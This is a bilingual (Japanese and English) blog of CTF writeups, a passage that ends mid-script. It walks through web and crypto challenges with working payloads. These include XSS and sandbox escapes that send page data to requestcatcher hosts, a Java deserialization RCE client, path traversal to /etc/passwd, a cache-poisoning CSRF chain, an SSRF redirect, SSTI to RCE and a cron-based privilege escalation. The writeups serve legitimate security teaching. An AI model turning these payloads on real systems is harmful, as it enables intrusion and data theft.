    buf += "displayName"
    idx = append(idx, len(buf))
    buf += displayName
    idx = append(idx, len(buf))
    buf += "weatherCode"
    idx = append(idx, len(buf))
    buf += weatherCode
    idx = append(idx, len(buf))

    lowerBuf := strings.ToLower(buf)
    upperBuf := strings.ToUpper(buf)
    if len(buf) != len(lowerBuf) || len(upperBuf) != len(lowerBuf) {
        return false
    }

    buf = lowerBuf
    for i := 0; i < 6; i += 2 {
        if strings.ContainsAny(buf[idx[i]:idx[i+1]], blacklisted) {
            return false
        }
        if strings.Contains(buf[idx[i]:idx[i+1]], "bot") {
            return false
        }
    }

    return true
}

DisplayNameとWeatherCode(とenumのstatus)に対してブラックリストフィルタリングがかかっている。"';:<>()\#$%-?&が対象。JsRenderを色々調べて使えそうなものを探す。全人類が{{* [javascript-code] }}を見つけたと思うが、これはプロパティ設定を有効化しないといけないので使えない。

マニュアルをくまなくみると、dbgタグを見つける。これを使ってみると{{dbg 1+4+3}}{{/dbg}}で8と出力されてきた。何かしら評価されていそう。色々ガチャガチャ触ってみると、JavaScriptとして中身は評価されていそうであった。マニュアルとソースコードを読むと、dataとして入力したobjectのみ参照できるようだった。(#が使えればviewも読めるがブラックリストのため使えない。ソースコードを読むとnew Functionでいい感じに呼んでいるだけだったので、jailbreakも考えたが、それが出来たらゼロデイっぽい)

今回参照できるdataは

const renderData = {
    // id: document.getElementById("id")?.value || 0,
    // username: document.getElementById("username")?.value || "",
    displayName: document.getElementById("displayName")?.value || "",
    status: document.getElementById("status")?.value || "hapiii",
    temperature: weather.temperature,
    message: weather.message,
    alert: weather.alert
};
/* redacted */
document.getElementById("profile-container").innerHTML = profileTemplate.render(renderData);

のような感じ。よって、{{dbg message}}{{/dbg}}とやればmessageを表示させることができた。

こういうパズルでXSSするときは<をいかに作るかというのが課題になる。色々さまよいながら考えると、dataで与えられているStringのインスタンスをうまく使ってブラックリストに入っている文字を生成することができた。supとかlinkのような非推奨な便利なものがあります。()が使えないので代わりに``で関数呼び出しをしています。後は根性。

< {{dbg message.sup``[0]}}{{/dbg}}
> {{dbg message.sup``[4]}}{{/dbg}}
" {{dbg message.link`a`[8]}}{{/dbg}}
( {{dbg [toString+``][0][17]}}{{/dbg}}
) {{dbg [toString+``][0][18]}}{{/dbg}}

という訳で

<img src onerror=alert(1)>

これを

{{dbg message.sup``[0]}}{{/dbg}}img src onerror=alert{{dbg [toString+``][0][17]}}{{/dbg}}1{{dbg [toString+``][0][18]}}{{/dbg}}{{dbg message.sup``[4]}}{{/dbg}}

のように変換してWeatherCodeとして更新してやればポップアップが出る。WeatherCodeはDBの関係で255文字が上限なので、DisplayNameに実行したいjsコードのbase64エンコードを置いて持ってきてevalすることにした。つまり、

WeatherCode
<img src onerror=eval(atob(`[payload]`))>

DisplayName
fetch("/profile/ssr").then(e=>e.text()).then(e=>navigator.sendBeacon("//sadfgjaskdjir32jk4.requestcatcher.com/", e))

としたいので、

Weather code
{{dbg message.sup``[0]}}{{/dbg}}img src onerror=eval{{dbg [toString+``][0][17]}}{{/dbg}}atob{{dbg [toString+``][0][17]}}{{/dbg}}`{{dbg displayName}}{{/dbg}}`{{dbg [toString+``][0][18]+[toString+``][0][18]}}{{/dbg}}{{dbg message.sup``[4]}}{{/dbg}}

DisplayName
ZmV0Y2goIi9wcm9maWxlL3NzciIpLnRoZW4oZT0+ZS50ZXh0KCkpLnRoZW4oZT0+bmF2aWdhdG9yLnNlbmRCZWFjb24oIi8vc2FkZmdqYXNrZGppcjMyams0LnJlcXVlc3RjYXRjaGVyLmNvbS8iLCBlKSk=

とすれば、フラグを外部送信できた。

bot-回避

解けた!と思って小躍りしていたのだが、botがURLにアクセスするときにGETのクエリストリングにusernameが存在していて、かつ、bot-という文字列が含まれていないといけない制限がかかっていた。

app.use((req, res, next) => {
  if (req.method === 'POST') {
    const { url } = req.body;
    try {
      const u = new URL(url);
      if (!['https:', 'http:'].includes(u.protocol)) {
        return res.status(200).send("Nope");
      }
      if (u.host !== new URL(process.env.BOT_URL).host) {
        return res.status(200).send("This site only plzzz");
      }
      if (!u.searchParams.get('username').includes('bot-')) {
        return res.status(200).send("No");
      }
    } catch (err) {
      return res.status(200).send("Sth wrong");
    }
  }
  next();
});

しかし、登録時にbotが含まれるユーザー名を入れるときは、bot_tokenを送信する必要があって、これは結構強めに作られている乱数で突破が難しい。

func Register(username, password, token string) (RegisterResult, error) {

    if strings.Contains(username, "bot") && token != config.GetString("bot_token") {
        return RegisterResult{}, errors.New("no you aren't")
    }

    user, err := model.Register(username, password)
    if err != nil {
        return RegisterResult{}, errors.New("can't register using this username")
    }

    // default value
    user.Update(user.Username, model.HAPIII, "1252431")

    return RegisterResult{UserId: user.ID}, nil
}

方針は、botを含むユーザーを何とか突破させることではなく、読み込み時にある。/profile/?username=[attacker-usernme]としたいのだが、これを/profile/?username=[attacker-usernme]%FFbot-としても、変わらず[attacker-username]を読み込んでくれる。これはMySQLの仕様によるもので、無効な文字が含まれている場合はそれ以降を無視して文字列として処理してくれるためである(要出典、手元の解法メモにはそう書いてあった)。

という訳で、適当なユーザー名を作って http://web:9000/profile/?username=QeZPy2Njefpb2xs4tAFe%FFbot- のように読んでやるとbot-検証は回避しつつ、GET /profile/?username=QeZPy2Njefpb2xs4tAFeとして処理してくれる。

フラグゲット!

[web] Yapper catcher

No more manual yapping, LLMs will replace our job if the job is to yap all day. There are problems with them leaking sensitive stuffs nowadays so I've added a fool-proof mechanism to protect your precious data as well!

パスワードを設定して、それを使って秘密の文書を記録できるサイトが与えられる。問題点は、他人のユーザーへ他人のパスワードで秘密の文書を書き込むことができてしまう点である。

exports.updateStatus = async(id, user, quote) => {
  const status = await db.collection('status').findOne({ id });
  if (!status) {
    throw Error(`Status with id ${id} doesn't exist`);
  }

  passcode = await decrypt(status.passcode, passcode_key);
  user = await encrypt(user, passcode);
  quote = await encrypt(quote, passcode);

  await db.collection('status').updateOne(
    { id },
    { $push: { content: { user, quote } } }
  )
};

また、botの実装を見ると、await page.goto(process.env.SERVER_URL + '/?user=' + username)のようにusernameのみを入れる想定っぽくなってはいるが、usernameに対して特に検証は存在しないので、[username]&id=[status_id]とすればidをインジェクションできる。botの流れは

await page.goto(process.env.SERVER_URL + '/?user=' + username)
await page.type('input#username', username);
await page.type('textarea#quote', quote);
await page.click('button#post-status');
await page.waitForNavigation();

のように指定のusernameにフラグを含んだquoteを投稿するというものなので、ここを攻撃者へ攻撃者のパスワードで秘密の文書として書き込んでもらえば、あとは攻撃者側で復号化すればフラグが手に入る。

つまり、

  1. 好きなパスワードを設定してstatusを作成し、Status IDを取得
  2. Botペイロードを送信 [attacker-username]&id=[status_id]
  3. これで攻撃者の所にフラグ入りquoteが記録されたので、手順1で設定したパスワードで復号化してフラグ獲得

DefCamp Capture the Flag 2025 Writeup

Hey guys. 日本語版は後半にあります。

[web] jargon

Testing various site endpoints reveals a path traversal vulnerability at GET /download?id=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd, allowing us to retrieve /etc/passwd. Similarly, by obtaining /proc/self/cmdline, we can see that the command execution is java -jar /app/target/jargon.jar, so we retrieve /app/target/jargon.jar and analyze its contents using jadx. An Exploit class that performs the command execution is defined.

/* loaded from: jargon.jar:ctf/jargon/Exploit.class */
public class Exploit implements Serializable {
    private static final long serialVersionUID = 1;
    private String cmd;

    public Exploit(String cmd) {
        this.cmd = cmd;
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec(this.cmd);
    }

    public String toString() {
        return "Exploit triggered with command: " + this.cmd;
    }
}

Additionally, since the process to deserialize the Exploit class is implemented in doPost, RCE can be achieved by uploading a serialized Exploit class via POST.

@Override // javax.servlet.http.HttpServlet
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    String ctype = req.getContentType();
    resp.setContentType("text/html");
    if (ctype != null && ctype.startsWith("application/octet-stream")) {
        try {
            ObjectInputStream objectInputStream = new ObjectInputStream(req.getInputStream());
            Throwable th = null;
            try {
                try {
                    resp.getWriter().println(header("Exploit") + "<div class='bg-red-900 p-6 rounded'><h2 class='text-xl font-bold text-red-300 mb-2'>[!] Deserialization Result</h2><p class='text-gray-200'>" + objectInputStream.readObject().toString() + "</p></div>" + footer());
                    if (objectInputStream != null) {
                        if (0 != 0) {
                            try {
                                objectInputStream.close();
                            } catch (Throwable th2) {
                                th.addSuppressed(th2);
                            }
                        } else {
                            objectInputStream.close();
                        }
                    }
                    return;
                } finally {
                }
            } catch (Throwable th3) {
                th = th3;
                throw th3;
            }
        } catch (Exception e) {
            resp.getWriter().println(header("Error") + "<p class='text-red-400'>Error: " + e.getMessage() + "</p>" + footer());
            return;
        }
    }

Therefore, deserialization and RCE can be performed using Java code like the following.

package ctf.jargon;
import java.io.*;
import java.net.*;

public class Main {
    public static void main(String[] args) {
        try {
            String targetUrl = "http://[redacted]:30942/contact";
            String command = "sh -c $@|sh . echo cat /flag-butlocationhastobesecret-1942e3.txt > /tmp/poc"; 
            
            
            Exploit exploit = new Exploit(command);
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(exploit);
            oos.close();
            
            byte[] serializedData = baos.toByteArray();
            
            
            URL url = new URL(targetUrl);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("POST");
            conn.setRequestProperty("Content-Type", "application/octet-stream");
            conn.setDoOutput(true);
            
            
            OutputStream os = conn.getOutputStream();
            os.write(serializedData);
            os.flush();
            os.close();
            
            
            BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream()));
            String line;
            while ((line = br.readLine()) != null) {
                System.out.println(line);
            }
            br.close();
            
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Since the flag is placed in /tmp/poc, the flag can be obtained by using the path traversal vulnerability mentioned earlier to retrieve /tmp/poc.

[web] in-the-shadows

Three restrictions are listed, so we'll bypass them one by one.

  1. Execution in a sandbox environment by sandboxFunction
  2. Character and length restrictions on code
  3. The flag is written inside the Shadow DOM

First, to bypass 1. Execution in a sandbox environment by sandboxFunction, we execute code to extract the window object.

const F = (''+[]).constructor.constructor;
const win = F('return this')();
win.eval("alert(1)");

As shown above, JavaScript can be executed freely using eval.

Next, to bypass 2. Character and length restrictions on code, we construct strings by combining allowed characters and execute external JavaScript through import. By doing the following, the call to import('//[attacker-ip]/1') allows JavaScript prepared on the attacker's server to be executed.

let _='const'+'for'[2]+'hue'[1]+'ctx'[0]+'ctx'[1]+'for'[1]+'for'[2];
let __=(''+[])[_][_];
let ___ = __('for'[2]+'let'[1]+'let'[2]+'hue'[1]+'for'[2]+'sin'[2]+' '+'ctx'[1]+'hue'[0]+'sin'[1]+'sin'[0])();
___['let'[1]+'canvas'[3]+'atan'[0]+'let'[0]]('sin'[1]+'time'[2]+''[_]['for'[0]+'for'[2]+'for'[1]+'time'[2]+'getContext'[3]+'hue'[0]+'atan'[0]+'for'[2]+'getContext'[3]+'for'[1]+'d'+'hue'[2]](112)+'for'[1]+'for'[2]+'let'[2]+'("//[attacker-ip]/1")');

Finally, to bypass 3. The flag is written inside the Shadow DOM, we use document.execCommand's FindString. This is a function that can determine whether a given string exists within the site, and it includes the contents of the Shadow DOM in its search scope. Therefore, by performing a brute-force search of the flag from the beginning and using document.execCommand's FindString to check if the flag string exists, we can identify it character by character from the start.

By setting up a web server on the attacker's server as follows and calling it using import, the flag will be sent character by character to requestcatcher from the beginning.

from flask import Flask
from flask_cors import CORS
app = Flask(__name__)
CORS(app)
@app.route('/1')
def serve_js():
    return """
const dic = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!$%&'()*+,-./:;<=>?@[]^_`{|}~ ";
let flag = "DCTF{";
for (let pos = 0; pos < 40; pos++) {
    for (let i = 0; i < dic.length; i++) {
        const testString = flag + dic[i];
        if (document.execCommand('FindString', false, testString)) {
            flag += dic[i];
            fetch('https://[yours].requestcatcher.com/found?q='+flag)
        }
    }
}
""", 200, {'Content-Type': 'application/javascript'}
if __name__ == '__main__':
    app.run(debug=True, port=80, host='0.0.0.0')

[web] esoteric-urge

We cleverly use the cache mechanism to perform CSRF and information extraction. The cache appears to only work under /public, but by performing GET /public/..%2Fawaken, we can trigger the cache that only works under /public at /awaken. The cache is configured in the following section.

const cache = new NodeCache({ stdTTL: 60 }); 
// Help for large files
app.use('/public', middleware.cacheFiles(cache), express.static('public'));

Caching works when the path starts with /public, but if the corresponding file does not exist, it falls back to the subsequent processing.

app.use((req, res, next) => {
  req.url = path.normalize(decodeURIComponent(req.path));
  next();
});

Since decoding and normalization are performed in this process, /public/..%2Fawaken is converted to /awaken, and routing is then performed in the subsequent processing. This allows us to use caching for arbitrary endpoints. The attack procedure is as follows:

  1. Make the admin browse http://127.0.0.1:3000/public/..%2Fawaken. This leaves a cache of the /awaken result by the administrator.
  2. By viewing GET /public/..%2Fawaken, the cache can be retrieved, allowing us to obtain the administrator's _csrf.
  3. Incorporate it to create HTML like the following. CSRF can be triggered by using _csrf as the CSRF token.
<form action="http://127.0.0.1:3000/public/..%2Fawaken" method="POST">
    <input type="hidden" name="_csrf" value="[extracted-csrf-token]">
    <input type="text" id="username" name="username" value="error-kun">
    <input type="text" id="role" name="role" value="guide">
    <button type="submit">Submit</button>
</form>
  1. Wait about 70 seconds for the cache to expire, then have the administrator open the HTML from step 3. This leaves a cache of POST /public/..%2Fawaken. Through CSRF, user creation in the guide occurs, and the authentication information for that user is recorded from the cache.
  2. By viewing POST /public/..%2Fawaken, the cache remains and login information can be obtained.
  3. Log in with that information and obtain the flag with DELETE /reach_nirvana.

[web] rocket

When passing a link like http://blog:4000/, the response Forbidden Blocked: internal address is returned. This validation can be bypassed by using redirects.

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
class Redirect(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://127.0.0.1:4000/')
        self.end_headers()
HTTPServer(("", int(8989)), Redirect).serve_forever()

By setting up such a redirect server, making it public through ngrok or similar, and having it accessed, we can view the site at http://blog:4000/. Based on the images from the site, it appears to be a site where comments can be posted. Therefore, we prepare a form and try posting via POST. We prepare HTML like the following and have it opened.

<form id=form action="http://127.0.0.1:4000" method="POST">
    <input name="comment" value="test">
    <button>submit</button>
</form>

<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    setTimeout(async () => {
        form.submit();
    }, 0);
</script>

When executing this, "test" is recorded as a comment. Similarly, when writing {{7*7}}, it gets written as "49", indicating that SSTI is possible. When trying {{request.application.globals.builtins.import('os').popen('id').read()}}, the execution result of the id command is obtained, confirming that RCE is possible. We establish a reverse shell to enable shell operations. Looking at the permissions of /flag.txt, root privileges are required, and since we currently have blog user privileges, privilege escalation is necessary.

Looking at /etc/crontab, a cron job */10 * * * * root /usr/sbin/logrotate -f /etc/logrotate.d/app was configured. It is executed with root privileges. Looking at cat /etc/logrotate.d/app, /usr/local/bin/cleanup.sh is specified in the postrotate of /var/log/app.log as follows.

/var/log/app.log {
    daily
    rotate 7
    compress
    missingok
    notifempty
    postrotate
        /usr/local/bin/cleanup.sh
    endscript
}

Since /usr/local/bin/cleanup.sh was writable by the blog user, we write commands to copy the flag and set the ACL to 777 as follows.

echo "cp /flag.txt /tmp/flag.txt && chmod 777 /tmp/flag.txt" > /usr/local/bin/cleanup.sh

To execute this, modification of /var/log/app.log is necessary, so we write some strings to it as follows.

echo "hoge" > /var/log/app.log

After that, if we wait 10 minutes, the flag will be copied to /tmp/flag.txt, so we can obtain the flag with cat /tmp/flag.txt.

[crypto] Close-message

For each group, when eps is represented in bits, there are 4 or fewer positions where 1 is set, so we can recover eps by brute-forcing which bits are 1 in eps, then calculate m from there and determine m by checking whether m2 = c mod n is satisfied.

import re, binascii
from datetime import datetime

Ns=[ redacted ]
Cs=[ redacted ]
Ms=[ redacted ]

def get(i, n, c, M):
    for c1 in range(512):
        print(c1, datetime.now().strftime("%Y-%m-%d %H:%M:%S"), flush=True)
        for c2 in range(c1+1, 512):
            for c3 in range(c2+1, 512):
                for c4 in range(c3+1, 512):
                    eps = (1 << c1) + (1 << c2) + (1 << c3) + (1 << c4)
                    m = M ^ eps
                    if pow(m, 2, n) == c:
                        print(f"Found m[{i}] = {m}", flush=True)
                        return m
    return -1

for i in range(len(Ns)):
    print(f"======= {i} =======", flush=True)
    print(get(i, Ns[i], Cs[i], Ms[i]), flush=True)

By executing this script, the ms can be recovered in about half a day, and then the flag can be recovered using the ms.

from Crypto.Util.number import *
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import binascii

ms = [ redacted ]

def getkey(x):
  h = SHA256.new()
  h.update(str(x).encode())
  return h.digest()

key=getkey(ms)
cipher=AES.new(key,AES.MODE_ECB)
enc='985c099ea39ae0c1cc86b002695cd60b4efd49a1eecdbcea8dba3229bead65a9a91c42c0694e28206059add3ce4034e964da904073c0c52e71d56af97e271fe0cefc2431cf1e2cdb3ae1629b1bbd8c25'
print(cipher.decrypt(binascii.unhexlify(enc)))

[web] jargon 日本語

サイトのエンドポイントを色々試すと GET /download?id=..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswdパストラバーサル脆弱性があり/etc/passwdを取得することができる。同様に/proc/self/cmdlineを取得するとjava -jar /app/target/jargon.jarというコマンド実行であることが分かるため、/app/target/jargon.jarを取得して中身をjadxで解析する。

/* loaded from: jargon.jar:ctf/jargon/Exploit.class */
public class Exploit implements Serializable {
    private static final long serialVersionUID = 1;
    private String cmd;

    public Exploit(String cmd) {
        this.cmd = cmd;
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec(this.cmd);
    }

    public String toString() {
        return "Exploit triggered with command: " + this.cmd;
    }
}

以上のようなコマンド実行を行うExploitクラスが定義されている。

@Override // javax.servlet.http.HttpServlet
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
    String ctype = req.getContentType();
    resp.setContentType("text/html");
    if (ctype != null && ctype.startsWith("application/octet-stream")) {
        try {
            ObjectInputStream objectInputStream = new ObjectInputStream(req.getInputStream());
            Throwable th = null;
            try {
                try {
                    resp.getWriter().println(header("Exploit") + "<div class='bg-red-900 p-6 rounded'><h2 class='text-xl font-bold text-red-300 mb-2'>[!] Deserialization Result</h2><p class='text-gray-200'>" + objectInputStream.readObject().toString() + "</p></div>" + footer());
                    if (objectInputStream != null) {
                        if (0 != 0) {
                            try {
                                objectInputStream.close();
                            } catch (Throwable th2) {
                                th.addSuppressed(th2);
                            }
                        } else {
                            objectInputStream.close();
                        }
                    }
                    return;
                } finally {
                }
            } catch (Throwable th3) {
                th = th3;
                throw th3;
            }
        } catch (Exception e) {
            resp.getWriter().println(header("Error") + "<p class='text-red-400'>Error: " + e.getMessage() + "</p>" + footer());
            return;
        }
    }

また、Exploitクラスをデシリアライズする処理がdoPostで実装されているため、POSTでシリアライズされたExploitクラスをアップロードすることでRCEすることができる。よって、以下のようなjavaのコードを使うことでデシリアライズとRCEを行うことができる。

package ctf.jargon;
import java.io.*;
import java.net.*;

public class Main {
    public static void main(String[] args) {
        try {
            String targetUrl = "http://[redacted]:30942/contact";
            String command = "sh -c $@|sh . echo cat /flag-butlocationhastobesecret-1942e3.txt > /tmp/poc"; 
            
            
            Exploit exploit = new Exploit(command);
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(exploit);
            oos.close();
            
            byte[] serializedData = baos.toByteArray();
            
            
            URL url = new URL(targetUrl);
            HttpURLConnection conn = (HttpURLConnection) url.openConnection();
            conn.setRequestMethod("POST");
            conn.setRequestProperty("Content-Type", "application/octet-stream");
            conn.setDoOutput(true);
            
            
            OutputStream os = conn.getOutputStream();
            os.write(serializedData);
            os.flush();
            os.close();
            
            
            BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream()));
            String line;
            while ((line = br.readLine()) != null) {
                System.out.println(line);
            }
            br.close();
            
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

最終的には以上のようなスクリプトでRCEを行い、フラグを/tmp/pocに配置して、先ほど使ったパストラバーサルを使って/tmp/pocを取得すればフラグが得られる。

[web] in-the-shadows 日本語

3つの制限が書けられているので、順番に回避する。

  1. sandboxFunctionによるサンドボックス環境での実行
  2. codeの文字と長さ制限
  3. Shadow DOMの中にフラグが書かれている

まず、1. sandboxFunctionによるサンドボックス環境での実行を回避するために、コード実行を行ってwindowを取り出す。

const F = (''+[]).constructor.constructor;
const win = F('return this')();
win.eval("alert(1)");

以上のようにすればevalにより、自由にJavaScriptを実行することができる。

次に、2. codeの文字と長さ制限を回避するために、許可されている文字を組み合わせた文字列構築とimportによって外部のJavaScriptの実行を行う。以下のようにやると、import('//[attacker-ip]/1')の呼び出しにより、攻撃者のサーバに用意されたJavaScriptが実行できる。

let _='const'+'for'[2]+'hue'[1]+'ctx'[0]+'ctx'[1]+'for'[1]+'for'[2];
let __=(''+[])[_][_];
let ___ = __('for'[2]+'let'[1]+'let'[2]+'hue'[1]+'for'[2]+'sin'[2]+' '+'ctx'[1]+'hue'[0]+'sin'[1]+'sin'[0])();
___['let'[1]+'canvas'[3]+'atan'[0]+'let'[0]]('sin'[1]+'time'[2]+''[_]['for'[0]+'for'[2]+'for'[1]+'time'[2]+'getContext'[3]+'hue'[0]+'atan'[0]+'for'[2]+'getContext'[3]+'for'[1]+'d'+'hue'[2]](112)+'for'[1]+'for'[2]+'let'[2]+'("//[attacker-ip]/1")');

最後に、3. Shadow DOMの中にフラグが書かれているを回避するために、document.execCommandのFindStringを使う。文字列を与えて、その文字列がサイト内に存在するかどうかを判定できる関数だが、これはShadow DOMの中身も検索対象に入る。よって、フラグを先頭から全探索していき、document.execCommandのFindStringでフラグの文字列があるかどうかを見ていくことで、先頭から順番に特定していく。

攻撃者サーバにて以下のようにWebサーバを立ち上げ、importを使って呼び出すと、フラグを先頭から順番にrequestcatcherに送信してくれる。

from flask import Flask
from flask_cors import CORS
app = Flask(__name__)
CORS(app)
@app.route('/1')
def serve_js():
    return """
const dic = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!$%&'()*+,-./:;<=>?@[]^_`{|}~ ";
let flag = "DCTF{";
for (let pos = 0; pos < 40; pos++) {
    for (let i = 0; i < dic.length; i++) {
        const testString = flag + dic[i];
        if (document.execCommand('FindString', false, testString)) {
            flag += dic[i];
            fetch('https://[yours].requestcatcher.com/found?q='+flag)
        }
    }
}
""", 200, {'Content-Type': 'application/javascript'}
if __name__ == '__main__':
    app.run(debug=True, port=80, host='0.0.0.0')

[web] esoteric-urge 日本語

キャッシュ機構をうまく使って、CSRFと情報抜き取りを行う。キャッシュは/public以下でしか働かないように見えるが、GET /public/..%2Fawakenのように行うと、/public以下でしか働かないキャッシュを/awakenで起こすことができる。キャッシュは以下の部分で設定されている。

const cache = new NodeCache({ stdTTL: 60 }); 
// Help for large files
app.use('/public', middleware.cacheFiles(cache), express.static('public'));

/publicから始まる場合にキャッシュが効くのだが、該当するファイルが存在しない場合は、その後の処理にフォールバックする。

app.use((req, res, next) => {
  req.url = path.normalize(decodeURIComponent(req.path));
  next();
});

この処理でデコードと正規化が行われるため、/public/..%2Fawaken/awakenのように変換され、その後の処理でルーティングが行われてしまう。これによって任意のエンドポイントに対してキャッシュを使うことができる。

攻撃手順は以下の通り。

  1. adminにhttp://127.0.0.1:3000/public/..%2Fawakenを閲覧させる。これにより管理者による/awaken結果のキャッシュが残る
  2. GET /public/..%2Fawakenを見るとキャッシュが取得できるため、管理者の_csrfが得られる
  3. それを組み込んで以下のようなhtmlを作る。CSRFトークンは_csrfを使うことでCSRFを起こすことができる。
<form action="http://127.0.0.1:3000/public/..%2Fawaken" method="POST">
    <input type="hidden" name="_csrf" value="[extracted-csrf-token]">
    <input type="text" id="username" name="username" value="error-kun">
    <input type="text" id="role" name="role" value="guide">
    <button type="submit">Submit</button>
</form>
  1. キャッシュが消えるまで70秒くらい待ち、管理者に手順3のHTMLを開かせる。これでPOST /public/..%2Fawakenのキャッシュが残る。CSRFによりguideでのユーザー作成と、キャッシュからそのユーザーの認証情報が記録される。
  2. POST /public/..%2Fawakenを見るとキャッシュが残っており、ログイン情報が得られる
  3. それでログインしてDELETE /reach_nirvanaでフラグが得られる

[web] rocket 日本語

http://blog:4000/というリンクを渡すとForbidden Blocked: internal addressと応答が帰ってくる。この検証はリダイレクトを使うことで回避できる。

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
class Redirect(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', 'http://127.0.0.1:4000/')
        self.end_headers()
HTTPServer(("", int(8989)), Redirect).serve_forever()

このようなリダイレクトのサーバを立ち上げて、ngrokなどで公開し、アクセスさせることで、http://blog:4000/のサイトを見ることができる。サイトの画像から推測すると、commentが投稿できるサイトのように見える。よって、フォームを用意してPOSTで投稿してみる。以下のようなHTMLを用意して、開かせてみる。

<form id=form action="http://127.0.0.1:4000" method="POST">
    <input name="comment" value="test">
    <button>submit</button>
</form>

<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    setTimeout(async () => {
        form.submit();
    }, 0);
</script>

これを実行するとtestがコメントとして記録される。同様に{{7*7}}を書き込んでみると49と書き込まれるため、SSTIが可能であることが分かる。{{request.application.globals.builtins.import('os').popen('id').read()}}を試すとidコマンドの実行結果が得られたため、RCEが可能。リバースシェルを張って、シェル操作ができるようにする。/flag.txtの権限を見ると、root権限が必要で、今保有しているのはblogユーザーのため、権限昇格をする必要がある。

/etc/crontabを見ると、*/10 * * * * root /usr/sbin/logrotate -f /etc/logrotate.d/appというcronが設定されていた。root権限で実行されている。cat /etc/logrotate.d/appを見ると、以下のように/var/log/app.logのpostrotateに/usr/local/bin/cleanup.shが指定されている。

/var/log/app.log {
    daily
    rotate 7
    compress
    missingok
    notifempty
    postrotate
        /usr/local/bin/cleanup.sh
    endscript
}

/usr/local/bin/cleanup.shはblogユーザーでも書き込みが可能だったため、以下のようにフラグをコピーしてACLを777にするコマンドを書き込む。

echo "cp /flag.txt /tmp/flag.txt && chmod 777 /tmp/flag.txt" > /usr/local/bin/cleanup.sh

これを実行させるために、/var/log/app.logの修正が必要なので、以下のように適用に文字列を書き込む。

echo "hoge" > /var/log/app.log

あとは、10分待てば/tmp/flag.txtにフラグがコピーされるので、cat /tmp/flag.txtでフラグが手に入る。

[crypto] Close-message 日本語

それぞれの組についてepsをビットで表記したときに1が立っているのは4箇所以下になるので、epsでどのビットが1であるかを全探索することでepsを復元し、そこからmを計算し、m2=c mod nを満たすかどうかを判定することでmを求める。

import re, binascii
from datetime import datetime

Ns=[ redacted ]
Cs=[ redacted ]
Ms=[ redacted ]

def get(i, n, c, M):
    for c1 in range(512):
        print(c1, datetime.now().strftime("%Y-%m-%d %H:%M:%S"), flush=True)
        for c2 in range(c1+1, 512):
            for c3 in range(c2+1, 512):
                for c4 in range(c3+1, 512):
                    eps = (1 << c1) + (1 << c2) + (1 << c3) + (1 << c4)
                    m = M ^ eps
                    if pow(m, 2, n) == c:
                        print(f"Found m[{i}] = {m}", flush=True)
                        return m
    return -1

for i in range(len(Ns)):
    print(f"======= {i} =======", flush=True)
    print(get(i, Ns[i], Cs[i], Ms[i]), flush=True)

このスクリプトを実行する事で半日ほどでmsが復元でき、あとは、msを使ってフラグを復元する。

from Crypto.Util.number import *
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import binascii

ms = [ redacted ]

def getkey(x):
  h = SHA256.new()
  h.update(str(x).encode())
  return h.digest()

key=getkey(ms)
cipher=AES.new(key,AES.MODE_ECB)
enc='985c099ea39ae0c1cc86b002695cd60b4efd49a1eecdbcea8dba3229bead65a9a91c42c0694e28206059add3ce4034e964da904073c0c52e71d56af97e271fe0cefc2431cf1e2cdb3ae1629b1bbd8c25'
print(cipher.decrypt(binascii.unhexlify(enc)))

Full Weak Engineer CTF 2025 Writeup

[crypto] baby-crypto

sjrpgs{ebg13rq_zrffntr!}

ROT13かなと思ってやるとROT13。

https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,13)&input=c2pycGdze2ViZzEzcnFfenJmZm50ciF9

[crypto] base🚀

🪛🔱🛜🫗🚞👞🍁🎩🚎🐒🌬🧨🖱🥚🫁🧶🪛🔱👀🔧🚞👛😄🎩🚊🌡🌬🧮🤮🥚🫐🛞🪛🔱👽🔧🚞🐻🔳🎩😥🪨🌬🩰🖖🥚🫐🪐🪛🔱👿🫗🚞🏵📚🎩🚊🎄🌬🧯🕺🥚🫁📑🪛🔰🐀🫗🚞💿🔳🎩🚲🚟🌬🧲🚯🥚🫁🚰🪛🔱💀🔧🚞🏓🛼🎩🚿🪻🌬🧪🙊🥚🫐🧢🪛🔱🛟🔧🚞🚋🫳🎩😆🏉🌬🧶🚓🥚🫅💛🪛🔱🔌🐃🚞🐋🥍🎩😱🤮🌬🩰🛳🥚🫀📍🪛🔰🐽🫗🚞💿🍁🎩🚊🌋🌬🧵🔷🚀🚀🚀

暗号化された結果のようなemojiと暗号化スクリプトが与えられる。

#!/usr/bin/env python🚀

with open('emoji.txt', 'r', encoding='utf-8') as f:
    emoji = list(f.read().strip())

table = {i: ch for i, ch in enumerate(emoji)}

def encode(data):
    bits = ''.join(f'{b:08b}' for b in data)
    pad = (-len(bits)) % 10
    bits += '0' * pad
    out = [table[int(bits[i:i+10], 2)] for i in range(0, len(bits), 10)]
    r = (-len(out)) % 4
    if r:
